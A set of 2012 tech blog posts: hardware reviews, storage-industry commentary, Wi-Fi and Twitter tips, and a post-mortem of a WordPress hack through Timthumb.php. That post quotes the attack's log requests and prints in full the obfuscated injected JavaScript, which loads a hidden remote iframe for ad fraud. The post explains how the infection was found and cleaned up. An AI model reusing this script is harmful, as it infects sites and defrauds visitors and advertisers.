The sleek Blackmagic Design Intensity Extreme allows Thunderbolt-equipped computers to import and export HDMI video

Streaming live video from a camera into a computer has never been more difficult than today. Now that cameras rely on HDMI rather than simple composite, S-Video, or FireWire ports, it can be extremely difficult to connect them to a computer. That’s why I was thrilled to see the announcement by Blackmagic Design of two Thunderbolt versions of their respected Intensity video input/output box. But which is the better choice, the Intensity Shuttle or Intensity Extreme?

Introducing the Blackmagic Design Intensity

Blackmagic Design is well known for their inexpensive yet professional quality audio/video hardware and software. I first became acquainted with the company at NAB Show last year, coming away impressed by their broad lineup of video input and output devices. But the one that really caught my eye was the Thunderbolt-enabled Intensity Extreme.

You might also want to read The First Thunderbolt Peripherals On Display At NAB Show

“Intensity” is Blackmagic’s line of HDMI capture and playback devices. The Intensity Pro (internal PCIe) and Intensity Shuttle (external USB 3.0) have been available for a while. These offer a wide range of video capture and playback connections including HDMI, S-Video, component, and composite. Both are compatible with a wide range of professional editing software, including Avid Media Composer 6, Apple Final Cut Pro, and Adobe Premiere Pro.

You can't use this Blackmagic Design Intensity Pro in a MacBook Pro, but the same components make up the other Intensity products

HDMI capture is critical for the latest generation of cameras, since most do not stream video over FireWire any longer. There is a vibrant market for “new old stock” and even used Canon HD camcorders with FireWire output, since these were the last to reliably stream live video to computers for use with webcasting applications.

The Intensity line opens up a whole world of cameras, including many HD camcorders as well as SLR and mirrorless cameras like my Sony NEX. This will lead to higher quality video for live streams of events like my Tech Field Day and Truth in IT seminar series.

The Thunderbolt Enabled Intensity Shuttle and Intensity Extreme

Although Apple Macintosh computers are widely used for live streaming, they have not been able to take advantage of the Blackmagic Intensity line due to Apple’s steadfast refusal to adopt USB 3.0. All that changes with the introduction of the Intensity Shuttle Thunderbolt and Intensity Extreme.

The Blackmagic Design Intensity Shuttle Thunderbolt may not look as cool, but it just might be the better product!

Both the Intensity Shuttle and Intensity Extreme feature HDMI input and output and Thunderbolt connectivity for Apple MacBook Pro laptops. Both also include a variety of alternative input/output options, including S-Video, composite, and component. Both versions are also compatible with a wide range of popular software, include a bundle of Blackmagic applications, and share the same internal components.

So what’s the difference between the Intensity Shuttle Thunderbolt and Intense Extreme, apart from a $60-higher price tag for the latter? The most obvious difference is the gorgeous machined aluminum case on the Intensity Extreme, which totally outclasses the two-tone plastic of the Intensity Shuttle Thunderbolt. The Intensity Extreme relies on a breakout cable rather than the lineup of connectors along the edges of the Intensity Shuttle. Perhaps the Intensity Extreme is more rugged, but I prefer the light weight and integrated connectors of the Intensity Shuttle.

There are only slight differences between Blackmagic's Intensity Shuttle and Intensity Extreme products

A quick look at the tech specs for the two devices shows some subtle but, perhaps, important differences. The Intensity Shuttle Thunderbolt supports 8 channel audio input and output for HDMI connections, while the Intensity Extreme only lists dual channel support. But the Intensity Extreme is alone in featuring a 2-channel 24-bit SPDIF audio output port. The Intensity Shuttle Thunderbolt appears to support a wider range of video formats, including 480p, 525p NTSC and 625p PAL, though this could perhaps be an oversight in the specifications listing.

Both versions of the Blackmagic Intensity require the separate purchase of Apple’s $50 Thunderbolt cable, and both appear to draw power from this port rather than increasing travel weight with an extra power supply.

I know I would lose the breakout cable for the Intensity Extreme...

Stephen’s Stance

Overall, I’m thrilled to see Blackmagic bring HDMI video input and output to the Thunderbolt ports found on most Apple computers, and the low price of the Intensity products is certainly welcome. Personally, I will choose the Intensity Shuttle Thunderbolt for its lighter weight and no-breakout connectivity, and use the $60 I saved to purchase the Apple Thunderbolt cable. I’m not convinced that the minor technical differences between the 2 devices are a dealbreaker for me, though I can imagine some might demand the SPDIF audio port found only on the Intensity Extreme. Note that neither device is yet shipping, but Blackmagic promises to deliver them this quarter.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Preview: Two Thunderbolt Video Input and Output Devices from Blackmagic Design: Intensity Shuttle and Intensity Extreme
This post was categorized as Apple, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

I started by explaining a little bit about radio waves generally. “There are radio signals that are very low frequency, with a long wavelength, as well as those that are very high frequency.”

“What do you mean? What are radio signals?”

“Radio signals are like waves in water,” I said. My wife, the science teacher, quickly brought up a picture of the electromagnetic spectrum as an illustration. “There are tiny, ultra-high-frequency gamma rays and x-rays, as well as light waves in the middle and lower frequency radio waves.”

“So there are radio waves all around us right now?”

“Radio signals are like light, only in a color you can’t see,” I explained. “Every radio device sends it signals out in all directions, hoping an antenna will pick them up. And the spectrum of all these frequencies is divided up into segments like television channels.”

Big mistake: My TiVo-raised kids have no idea what a television channel is. But they had some idea about radio stations and could understand that different frequencies could contain different information.

So I transitioned into a discussion of congestion. “The phone and the computer are like flashlights, but it’s hard to see a flashlight in a bright room. If the room has blue lights, and you turn on a red flashlight, it will be obvious. But a blue one would be almost invisible!”

“So why is 5 GHz Wi-Fi so much faster than our old network,” asked the kids.

“There are 2 reasons,” I answered. “First, the 2.4 GHz spectrum used by regular Wi-Fi is really crowded, with lots of devices sharing it. Even telephones, cameras, and microwave ovens use that frequency! Second, 5 GHz has a lot more space for everyone to share, so much that you can even use wider channels.”

“Why don’t they just make more space for regular 2.4 GHz Wi-Fi?”

“They can’t! There’s just too many other people using radio signals around there, and they can’t move them around. The same thing happened in 900 MHz, and it might eventually happen in 5 GHz, too,” I explained. “It’s important that someone regulate who uses what frequency or it would be chaos. Imagine if anyone could drive in any direction anywhere on the highway!”

“It would be pretty cool to be able to see radio waves,” one of the kids commented.

“You can,” I answered. “A friend of mine makes a little device you plug into the computer, and it allows you to see all the signals in the 2.4 GHz and 5 GHz bands. It’s used by Wi-Fi engineers to plan networks. My friend gave me one, if you’d like to see it!”

I grabbed my laptop and Wi-Spy DBx card, started VMware Fusion, and launched MetaGeek’s Chanalyzer application. In a few minutes, I had a screen full of signals in the 2.4 GHz range. Although we live in a quiet suburb with large lawns, there were dozens of devices sharing that paltry spectrum.

This is why we can't have nice things...

I then switched over to the 5 GHz band. After a moment, we saw our first 5 GHz signal. Then we saw some more, all clustered around channel 100. A quick option click on the Wi-Fi icon in the menu bar showed us that the Ruckus access point was indeed using channel 100. The only signal in the entire 5 GHz band was our own access point!

5 GHz is like a beautiful, open highway

After a while, we did see some others stray signals in the 5 GHz band. But Chanalyzer gave a wonderful visual demonstration of the contention in 2.4 GHz and the wide open spaces in 5 GHz.

I was even able to demonstrate the wider channels used by the Ruckus access point and my MacBook Pro. The kids walked away with a better understanding of electromagnetic waves, radio devices, and the rules that govern their use. Special thanks to Tech Field Day sponsors, Ruckus Wireless and MetaGeek for making this little demonstration possible!

Disclaimer: Ruckus Wireless and MetaGeek gave me the products mentioned in this post free of charge as part of Tech Field Day. I still may have had this conversation without them, but I wouldn’t have had such exciting visuals!

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Teaching Science with Wi-Fi (Thanks, Ruckus and MetaGeek!)
This post was categorized as Apple, Ask a Pack Rat, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

Twitter is here to stay, and has become a potent communication tool in many industries. I recently received a request for advice on how better to use Twitter, and thought I would share some of the lessons I’ve learned over the years as an avid IT industry tweeter.

• Twitter Zen: A Global Conversation like No Other The most important concept to grasp is the fundamental nature of Twitter: It is an ongoing, global, democratic conversation. It is not a blog, USENET, Facebook or MySpace, or an instant message platform, though it does have certain elements of all of those.
• Twitter Zen: Setting up Your Account When you create a Twitter account, you will be asked to enter some profile information, including your name, URL, description, and photo. All of these are critically important: Many people will look at them to decide whether they want to follow you. If you have not set these up, other Twitter users likely will ignore you!
• Twitter Zen: Joining the ConversationIt can be difficult to start using Twitter, since you must decide who to follow and it will take some time before people follow you back, let alone interact with you. Imagine yourself walking into a room full of interesting people, all having conversations with each other. Do you expect everyone to notice that you have arrived, stop what they’re doing, and greet you warmly? Or do you expect that you will need to find someone interesting and join their conversation?
• Twitter Zen: The Four Conversational ParadigmsTwitter can be confusing for the uninitiated, and the fact that there are effectively four different ways of viewing it certainly contributes. Although the main Twitter stream seems like a unified set of short messages, clients view it in very different ways.

That’s the series so far. But I’ve had questions and comments, and intend to write more in the future! Watch the series url, http://foskettservices.com/series/twitter-zen/ or this page, or maybe even follow me on Twitter!

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Twitter Zen: My Tips For Newbies
This post was categorized as Ask a Pack Rat, Personal. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

Das Keyboard promises that their Model S for Mac is a worthy successor to the legendary IBM Model M, but I beg to differ

I make my living typing, and always have. From my days as a systems administrator to today doing whatever it is that I do, half my waking hours are spent in front of the keyboard. I’ve long used a very specific and much loved keyboard: A 1987 IBM Model M. But, in need of Macintosh keys and a USB connection, I jumped at the opportunity to pick up the brand-new Das Keyboard Model S for Mac. Here’s what I thought of it, my recommendation, and why I’m sending it back.

What I Look for in a Keyboard

I literally spend 8 to 10 hours a day typing, and I’ve gotten fairly fast over the last 2 decades. The only really satisfactory keyboard I have ever used is the one I continued to use most of that time, an IBM Model M manufactured in 1987. What’s so great about this keyboard that people like me continue to use them?

The IBM Model M is “defend your house from zombies” solid, with a thick steel backing plate and rigid plastic case. The “buckling springs” under each key give a perfect “press and pop” feeling, with each key press rewarding the finger and ear with a satisfying “clack.” This old-school typewriter feel is much sought after, and has spurred a vibrant aftermarket for otherwise-obsolete IBM keyboards.

To see how to use an old 101-key keyboard with a Mac, see Command and Control: The Clash of Keyboards

But I use a Mac. Macs have USB ports and make heavy use of the control, option, and command keys. IBM Model M keyboards are short on keys, and use AT or PS/2 connectors, making them less than compatible with Apple Macintosh computers, or recent Windows PCs, for that matter.

Introducing the Das Keyboard Model S For Mac

The Das Keyboard Model S is smaller and lighter than the IBM Model M

I’ve heard rumblings about Das Keyboard and their enthusiast oriented clicky keyboards for a while, but they only recently came out with a product specifically designed for use with Apple Macintosh computers. The Model S line uses Cherry MX blue mechanical key switches, known for their satisfying tactile feel. And the Model S for Mac includes Option and Command keys, along with media and sleep keys for use with Mac OS X.

Not having used a Das Keyboard, I decided to give it a try to see if it really “compares to the legendary IBM Model M”, as promised on the company’s website. I went ahead and ordered my keyboard, and it shipped much more quickly than I had expected. I must’ve gotten one of the first keyboards off the line, because the estimated ship date is still a month from now!

The Das Keyboard Model S is truly an enthusiast oriented keyboard, with 6 key rollover and a built-in USB hub. But the USB hub uses a separate connector from the keyboard, is only 2 ports, and interferes with right-handed use of mice or Apple’s Magic Trackpad. The dark glossy finish contrasts with flat black keys, though I do not care for the illegible lowercase font used by Das Keyboard.

Unboxing and Initial Impressions

Shipping was fast, but I was surprised by the small size and light weight of the box I received. The inner container, though glossy and thankfully not overly verbose, looks and feels cheaper than one would expect from a high-end enthusiast product. Honestly, it would get lost on the shelves at Fry’s or Micro Center amid thir ocean of worthless, mushy, flexy junk keyboards.

This is a shame, because the keyboard itself really is impressive in a “2001 monolith” or “Death Star” sort of way. The sharp angles make it appear at once smaller than it is, yet more substantial than the plastic junk most companies call keyboards. The style is entirely different from the slim slabs of aluminum sold by Apple, yet both are iconic in their own way.

But the Das Keyboard Model S for Mac feels much lighter than its 3 pound weight would suggest. Although I didn’t expect it to have the same heft as my 6 pound IBM Model M, it does not feel much more substantial than the cheap Compaq keyboard I had sitting in my closet. The keys are extremely lightweight, with a feathery feel that filled me with dread. This is no Model M.

Das Keyboard Model S Typing Feel

I gave the Das Keyboard a thorough workout, using it exclusively for over a week of heavy typing. Although I could type just as fast on the Model S as the trusty IBM, I did not enjoy the feel at all.

Cherry’s MX Blue switches have a two-piece “snap” design Image: GeekHack.org	IBM Model M uses a buckling spring Image: WakWak.com

The Cherry MX blue key switches do indeed have a nice snap, but they are undone by an overall feeling of lightness to the action. The keycaps do not feel “locked in” or solidly-connected, They wobble slightly as you type, and are so light that you may not know you’ve pressed them at all if not for the snap and pop of the switch.

What’s worse, in fast typing I found myself “getting ahead of” the key switches. Unless released to spring back nearly their entire travel, the switch will not snap or pop at all on the next press, though the character input will still register. Perhaps it is my typing style that is at fault, but I found myself typing extra characters without knowing it.

I’m disappointed that Das Keyboard would emphasize the comparison between this keyboard and the Model M so strongly in their marketing materials, and disgusted that reviewers would go along with this farce. No one who had ever tried both back-to-back would ever make this comparison. Das Keyboard is fine on its own, but is nothing like a Model M. It’s like slamming the door on a Honda Civic and a Mercedes S Class: Both are satisfying, but there’s no mistaking one for the other.

Another peculiarity of the Das Keyboard Model S for Mac is its handling of the media keys. Unlike Apple’s own keyboard, and the Unicomp Spacesaver M I am currently typing on, the Das Keyboard requires one to press the function key to activate the media keys. And these media keys are oddly shifted to the left: reverse, play/pause, and fast-forward are on F6, F7, and F8 rather than F7, F8, and F9; mute, volume down, and volume up are similarly shifted from F10 through F12 to F9 through F11. I find this extremely curious in a keyboard designed for the Mac.

Stephen’s Stance

Make no mistake, the Das Keyboard Model S for Mac is a whole class better than the plastic junk most people use, and the snappy Cherry MX blue key switches are more rewarding than any scissor or membrane keyboard out there. But this is no IBM Model M, so buckling spring fans should look elsewhere. I would not hesitate to recommend the Das Keyboard Model S for Mac to anyone looking for an alternative to Apple’s scissor key aluminum slabs or built-in MacBook keyboards, but I will be returning mine and evaluating a Unicomp Spacesaver M instead.

Pros:

• Great to see a company so committed to the keyboard, a critical computer component
• Classy black monolith shape
• Good (but not great) Cherry MX blue keyswitches
• Macintosh keys (option, command, and media)

Cons:

• Totally different feel from the IBM Model M feel, despite Das Keyboard’s marketing
• Paltry 2 USB ports are in the wrong spot and use their own separate cable
• Mac media keys mis-located and require function-Fx press
• More expensive than the son-of-Model M sold by Unicomp

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Review: Das Keyboard Model S for Mac (and Why I’m Sending It Back)
This post was categorized as Apple, Features, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

EMC VFCache is a Simple Read Cache

I was not pre-briefed on this product, and I’m not all that thrilled at the prospect of attending a launch webinar, so what you read here is based on my own research and reading of the available information as of this morning.

When EMC announced Project Lightning last year, company insiders expressed surprise to me. It seems that many had never heard of the project, and those that had didn’t think it was far enough along to be announced. I didn’t even bother to write about the Project Lightning announcement at the time. But today EMC unveils the production product that came out of Project Lightning.

VFCache is a filter driver that caches writes

EMC VFCache appears to be a simple and straightforward offering:

1. A PCIe SSD from Micron or LSI sits in the server and acts as a read cache to accelerate performance
2. EMC software also runs on the server, snooping on I/O and filling the cache with relevant data

There’s not a lot more to the product than that. EMC will sell the PCIe SSD and bundled software as VFCache, and will no doubt market the heck out of this product. Perhaps the only novel twist is the so-called “split-card” mode, which allows the card to act as a write cache. But EMC only supports this for transient “throwaway” data with direct attached storage (DAS) as a backend. There’s no way a conservative, enterprise focused company like EMC would risk sanctioning a writeback cache with no redundancy or data protection features.

VFCache uses a filter driver installed in the VM guest

Perhaps the biggest limitation of the initial VFCache offering is its limited applicability to enterprise server virtualization environments. VFCache uses a filter driver installed in each VM guest, and includes no hypervisor drivers though there is a vCenter plug-in. This makes VMware vMotion very tricky, involving scripting to remove and re-add storage. This means VMware SRM will not easily work, and there is no support for clustering, either.

This is no surprise, since VFCache appears to the host as a local storage volume (AKA, a disk drive or LUN) which would disappear if a virtual machine is moved to another server. Virsto solved this problem by virtualizing storage presentation to the hypervisor, and Fusion-io’s ioTurbine software does not interfere with vMotion either. EMC will likely go in this direction in the future, but it’s a big hole in the product for now.

You might also like reading Micron Bursts Into the PCIe SSD Market to learn more about the card EMC is using

The News: EMC Is in the Host-Based Storage Business

The primary use case for this product is server I/O acceleration. This is desperately needed, as applications and servers are rapidly outrunning the capabilities of conventional storage arrays. EMC and other legacy array manufacturers initially tried to address this I/O imbalance with tiered storage and in array caching. Indeed, these technologies are fairly effective at accelerating the performance of conventional disk storage arrays.

But flash manufacturers like Fusion-io (not to mention Micron and LSI) absolutely demolished storage array performance with their in-server offerings. EMC faced the prospect of losing out on the high-performance storage market. EMC simply could not allow their bread-and-butter enterprise customers to look elsewhere for strategic, high-performance storage for high-profile applications.

VFCache gives EMC salespeople a silver bullet when customers demand maximum performance, but this launch may not spell doom for the flash startups. For one thing, it legitimizes host-based flash cards as a viable component of enterprise storage architectures. It also opens the door to comparison between SAN storage and non–SAN alternatives that go well beyond what EMC is currently offering.

Shared Flash Storage Is on Deck: Project Thunder

"Project Thunder" will externalize the PCIe flash cards over a high-performance "Server Area Network"

As part of the VFCache introduction, EMC is also talking about Project Thunder, a shared version of VFCache. At the very least, thunder will allow multiple servers to access a shared pool of flash cache. This should allow VMware vMotion and DRS to function, and could be much more than that.

EMC could build a high-availability, high-performance all-flash storage array that may even use InfiniBand as an interconnect. The new Nimbus Data E-Class storage array matches this description perfectly, and their CEO tells me that performance over InfiniBand is indeed comparable to in-server PCIe flash cards. It seems logical for EMC to enter this market, if only to disrupt the momentum of Fusion-io and the rest of the all-flash storage upstarts.

Read more about the Nimbus E-Class: The First Big, Redundant, All-Flash Enterprise Array

The only fly in the ointment here is the recent consolidation of the InfiniBand market. Mellanox bought Voltaire, and QLogic sold out to Intel, putting that protocol on tenuous grounds. Perhaps 40 or 100 Gb Ethernet will emerge as a viable alternative for high-performance connectivity, or perhaps these products will retrench on shared PCI Express instead. Micron recently purchased Virtensys for just such a product, and Xsigo has been making big waves in the area of converged I/O as well. The market clearly need something better than Fibre Channel for maximum performance storage, even if InfiniBand isn’t it.

Stephen’s Stance

EMC VFCache (née Project Lightning) is a fairly simple offering: A server-based PCIe flash card that acts as a read cache with no integration with storage arrays or hypervisors. But EMC’s entrance into the host-based flash storage market is a powerful demonstration of the wave of disruption caused by flash-based storage and high-performance computing. Although I am not all that impressed with the product itself, I would be distressed if EMC had not introduced it.

VFCache illustrations are copyright EMC Corporation and are used here with permission

More solid, independent VFCache coverage:

• EMC Enters The Market With “Me Too” Flash Products (Chris Evans)
• Cache Splash and Complex is the new Simple (Martin Glassborow)

© sfoskett for Stephen Foskett, Pack Rat, 2012. | EMC VFCache (aka “Project Lightning”) Is One Small Step, But an Important One
This post was categorized as Enterprise storage, Gestalt IT, Virtual Storage. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

Today’s announcement of the E-Class storage array is an important milestone for Nimbus Data and solid-state storage in the enterprise. Until now, most solid-state storage arrays have been fairly small-scale, focused on point performance rather than enterprise-wide capacity. But the E-Class, which scales to 500 TB and sports a redundant, multi-protocol interface, is the first all-flash array to go toe to toe at the top of the market.

The State of Solid

No one would deny that solid-state storage is making a huge impact on the market. With mind-bending performance and reduced power requirements, flash memory matches up nicely with modern data center requirements. But the one missing element has always been capacity: NAND flash is more expensive than magnetic disks on a gigabyte by gigabyte basis.

Check out my 4 Horsemen series for more on the issues of disk!

The solid-state enterprise storage market started with point products targeted at specific needs within the data center. Companies like Texas Memory Systems and Violin have long supported the most challenging database applications with their external arrays, while Fusion-io, Virident, Micron and others stashed flash within the server. These companies were able to sell expensive storage into performance-hungry niches, but have found it difficult to address the capacity needs of the broader storage market.

Technology has the answer to this challenge, as demonstrated by Pure Storage, Nimbus, SolidFire, and others. Thin provisioning makes up much of the difference in cost, and deduplication or compression can even bring parity on a per-capacity cost basis. And even with these features turned on, solid-state storage arrays absolutely murder spinning disks in terms of random I/O performance.

Accumulating Nimbus

Unlike Whiptail, Pure Storage, Kaminario, SolidFire, and the rest of the startup crowd, Nimbus Data is not a new company. Founded by former TrueSAN wunderkind, Thomas Isakovich, Nimbus began as a disk storage startup before transitioning to an all-flash lineup two years ago. The company has steadily improved its product line over the years, adding NFS and SMB for a unified storage experience as well as InfiniBand for extreme performance.

Unlike most other companies in the space, Nimbus builds their own flash memory modules from raw NAND. This allows the company to avoid some of the tricky engineering required to qualify and adapt to the peculiarities of existing consumer or enterprise SSD modules. It also gives the company greater control and better flexibility to launch new capacity points when they are ready, rather than when their suppliers give the go-ahead.

Nimbus is rolling out a dual-PCB SSD module which doubles performance and capacity

The E-Class includes a new dual-PCB module which stripes data internally for better performance and capacity. This bumps each Nimbus E2000X enclosure to 20 TB, twice the capacity previously achieved, in just two rack units. And each of these enclosures draws as little as 100 W, allowing them to be stacked tall without exceeding the power capacity of typical datacenters.

E Is for Enterprise

The real innovation in the Nimbus E-Class is a brand-new “dual active” redundant controller architecture. Most previous solid-state arrays had a single controller, requiring users to mirror two entire arrays for high-availability. In contrast, most enterprise storage systems feature multiple active controllers with no single point of failure.

Read Multipath: Active/Passive, Dual Active, and Active/Active to understand what I’m on about here!

The E-Class introduces a new controller architecture for Nimbus. Each controller services all access to a LUN or volume until a failure is detected, in which case the alternate controller immediately comes online. But both controllers can have active storage at once, in what I call a “dual active” scenario. Although not truly “active/active”, the E-Class is in a different league from older single controller arrays.

Interestingly, the performance of Nimbus’ solid-state enclosures is high enough that the controllers do not need to mirror internal cache or hash tables. They simply write them out to SSD to be picked up in the event of a failure. This simplifies engineering for a dual controller system, and may lead to additional controllers added in the future.

Straightforward Pricing

Solid-state storage provides much more performance per dollar than spinning disk, but most customers still pay on a raw capacity basis. Rather than rocking the boat with alternative pricing models, Nimbus sticks to a straightforward method: $25,000 per controller, plus $100,000 per 10 TB enclosure. A minimum E-Class configuration includes two controllers and one enclosure for $150,000 with no extra cost for software licensing or features.

This seems fairly expensive for 10 TB of storage, but is actually quite competitive even with disk-based storage systems in the high-end, high-feature enterprise market. Thin provisioning increases the usable capacity of the E-Class, and the all SSD architecture means performance will not suffer. Unlike PCIe solutions, the E-Class is a shared, networked device and can be used by many servers at once.

Features and More Features

Speaking of features, Nimbus includes just about anything you could ask for in a storage array:

• In-line thin provisioning and deduplication
• Snapshots and synchronous or asynchronous replication
• 10 Gb NFS (2, 3, and 4) as well as SMB (CIFS/SMB1 and, SMB2)
• 10 Gb iSCSI
• 8 Gb Fibre Channel
• 40 Gb QDR InfiniBand

Although it has not yet been announced, Nimbus has added VMware VAAI support to the HALO operating system found in the S- and E-Class arrays. The company will support the major block storage components for vSphere 5: Block zeroing, atomic test and set, and full copy. Tom told me that Nimbus found the T10 interfaces fairly straightforward to implement but are still working on the NFS primitives. Although Nimbus does not yet have a vCenter plug-in, I expect that one is in the works.

Tom also tells me Nimbus is a “hypervisor hugger“, in that they intend to support features there rather than try to add them to the array. This is a smart choice for a smaller company, and I am glad to see Nimbus embracing the server virtualization market. I imagine an array like the E-Class would totally demolish any competing disk-based array in a virtual infrastructure deployment!

Stephen’s Stance

Nimbus has always been an interesting company, with a longer history in the storage world than most startups. Their switch to all-flash architecture was perfectly timed with the market shift, and the new E-Class comes just at the right moment. Boasting 500 TB of maximum capacity, a fully redundant “dual active” controller architecture, massive performance (even InfiniBand), and complete feature set (once VAAI is released), Nimbus may have hit on their hands.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Nimbus E-Class: The First Big, Redundant, All-Flash Enterprise Array
This post was categorized as Enterprise storage, Gestalt IT, Virtual Storage. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

A Nasty Hole in Timthumb.php

I’ve used the StudioPress Genesis themes for over a year now, but previously used a variety of others. One, Metamorphosis, included a handy thumbnail generator called Timthumb.php (or more precisely, thumb.php).

It appears that someone figured out how to exploit Timthumb to insert arbitrary code in WordPress blogs.

Since I was no longer using that theme, I had forgotten it was even installed. But it seems that users can manually request theme files even if the theme isn’t activated.

On Sunday, someone from IP address 91.196.216.20 (specenergo2.ru) requested dozens of different themes that use timthumb.php or thumb.php. They hit the jackpot with the following request:

91.196.216.20 - - [22/Jan/2012:02:00:52 +0000] "GET /wp-content/themes/metamorphosis/thumb.php HTTP/1.1" 400 319 "-" "-"

This was clearly an automated attack, and provided a solid clue about the hack.

Two days later, 81.95.114.105 returned and used thumb.php to add a file to my cache directory. He then executed that php file many times, injecting obfuscated JavaScript into my blog files:

81.95.114.105 - - [24/Jan/2012:10:12:39 +0000] "GET /2008/07/26/move-os-x-time-machine-backups-new-disk//wp-content/plugins/backups/cache/68d579e3ed4163b172ee2b887dc8ba54.php HTTP/1.1" 301 839 "-" "Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1"

I’m assuming this was another person, and that the IP isn’t a definitive indication of where the hacker was. But they had succeeded in getting their JavaScript junk into my WordPress theme.

Hello, MW:JS:150

The inserted JavaScript is pretty clever. It’s obfuscated in a number of ways, but pretty obvious in the header of the blog:

<script type='text/javascript'>var a=!1; if(-1==document.cookie.indexOf("lonly")){dhf="ht";dif="\u002F\u0069\u006E\u002E\u0063";var d=new Date;dcf="\u0067\u0069\u003F\u0032";d.setTime(d.getTime());ddf="blood.of.cm";ed=new Date(d.getTime()+72E6);dtf="tp://";document.cookie="lonly="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";df=dhf+dtf+ddf+dif+dcf;var e=-1!=navigator.userAgent.toLowerCase().indexOf("firefox"),f="1",j=function(){};j.prototype={b:function(){i=43724;this.pa="";u="u";return df},a:function(){q="q";dN=49709;this.l=46019;w="";rJ=a;this.V="";var g=document; cR=kQ=a;this.fa="";var k=window;dO="";var h=this;this.H=this.T="";this.u=64509;this.F="rQ";pK="";this.Q=39122;this.na="dY";this.d="fA";this.ka="dE";fQ=cD="";this.I="sE";try{uK=17600;this.z="pC";this.ga="bZR";this.g=41545;cL=pW="";this.v="nU";wK=a;this.h=eSU="";rO=pOR=this.s=a;this.P=eK=kVQ="";qB=a;mF="mF";this.ia=a;this.ba="";this.ca="bY";vW="getsetAttrisdf";this.m="";this.ja="zS";wE=this.i=a;this.ha="";this.n=a;this.A=55903;this.j=33170;gK=62679;var b=[];qR=vS=a;this.Z="";e||(f="0");b.push("\x68\x65\x69\x67\x68\x74", "\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x74\x72\x65\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x67\x65\x74","\x77\x69\x64\x74\x68","\x76\x62\x6D\x69\x66\x72\x73\x65\x74",vW,"body","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",f,g,"\u0073\u0072\u0063");this.aa=a;this.la=42071;this.K=21002;eO=64506;this.O=55314;yT="";hS=a;this.L=aU=uKD="";fK=a;yI=this.G=this.C="";wI="wI";sJ=11632;this.r=a;rG="";this.M=a;this.J=40171;aA=4550;gL=40598;var l=b[2][b[1]](3,16);this.c=this.N=nZ="";this.S="uX";gP="gP";this.t="nAO";var m=b[4][b[1]](3,6);cO=52931;this.R=a;this.da=44254;this.f=21921;vK=m+"ame";tI="tI";lO="lO";this.q="mO";jZ=24453;var n=b[5][b[1]](3,11);this.oa=this.qa= "";p=n+"bute";this.ma="dH";qU=this.Y="";rJQ=a;var o=h.b();this.$=tT="";var c=b[9][l](vK);this.W="";this.k="iZ";c[b[10]]=o;nD=a;mIO="mIO";this.w="";c[b[3]]=b[8];oH=40281;this.p="";kM="kM";c[b[0]]=b[8];this.B=58620;mH=this.X="";bW="bW";wY="";b[9][b[6]][b[7]](c);kR="";this.U=a;fVT=""}catch(s){hK="",this.ea=45116,lKT=a,this.D="rD",g.write("\x3C\x68\x74\x6D\x6C\x20\x3E\x3C\x62\x6F\x64\x79\x20\x3E\x3C\x2F\x62\x6F\x64\x79\x3E\x3C\x2F\x68\x74\x6D\x6C\x3E"),this.o=a,uIE="",this.e="fI",k.setTimeout(function(){h.a()},233),iGB=29282,zN=6951}iS=""}};cB="";var r=new j;gT="";r.a()};</script>

This code apparently caused site visitors to open an invisible frame with ads in it. It sets a cookie so it won’t run more than once, and also checks to hide itself from many spiders and search engines.

So it’s basically a web ad scam, intended to defraud someone like Yahoo by making it appear their ads are getting more impressions and clicks than they really are.

I was able to detect the malware using sitecheck.sucuri.net, which is where this name comes from. Note that they claim it comes from infected desktops, but I am fairly certain it came instead from the Timthumb php attack.

Cleaning Up

Cleanup was not at all straightforward, since it was mixed with detection and deduction.

The first thing to do was protect Timthumb from further exploits. I installed Timthumb Scanner, which detects and updates compromised versions of Timthumb.php.

Next, I reinstalled WordPress and my themes. Then I blew away my Super Cache files.

I also changed my blog password and WordPress cookie salts.

Finally, just to be safe, I ran chkrootkit and changed my UNIX passwords.

This appears to have eliminated this particular attack. I hope this helps!

© sfoskett for Stephen Foskett, Pack Rat, 2012. | How My Blog Became Infected With MW:JS:150 Malware (And How I Fixed It)
This post was categorized as Personal. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

The Clear PXU1900 WiMAX modem is cheap, and daily service is a steal

The first thing you need is a Clear modem. Luckily, eBay is flooded with their PXU1900 USB modem, starting around $25. I bought mine a year ago for a bit more, and it’s a nice backup Internet device provided you’re in their service area and near a window. Clear WiMAX performance drops precipitously indoors but is perfectly speedy in the clear (if you forgive the pun).

You’d probably also like reading my Hands-On Review: Clear WiMAX Service (and PXU1900 USB Modem)

Next, you need service. Do not sign up for a monthly subscription: With Clear going down the tubes, this is a seriously bad investment. Instead, just sign up for one of their on-demand plans whenever you need to get online.

You won’t find Clear’s 2-hour pass, 24 hour pass, or 1 week pass listed online. It’s clear that the company doesn’t want users using these. But they are available if you have a modem and want to get online!

Download and install the latest version of the modem software, launch the CLEAR Connection Manager, and insert the modem. It will search for a signal and hopefully be able to connect.

Clear has a message for you! (Hint: It's a set of undocumented short-term plans!)

Do not click “My Account” – that’s only for monthly subscribers! Instead, just open your browser and type in any URL. Clear will redirect you to a special page announcing they have “an important message for you”. This is your gateway to the undocumented short-term passes!

Be patient while waiting for these pages to load. They always take forever – 5 minutes today! This kind of focus on customer experience probably explains Clear’s success…

http://www.clear.com/plans

Click “Continue” and you will be taken https://home.clear.com/account/casual-use-reactivate. From there, you can log in or create a special account just for “casual use”.

This is much more reasonable than signing up for monthly service with a dying company!

There are three “casual use” service plans available, but you won’t find these listed on the official Clear service plans page:

• 2 hours for $5
• 24 hours for $10
• 1 week for $25

All are unlimited with no download speed throttling. Pick whichever works best for your needs and you’re online!

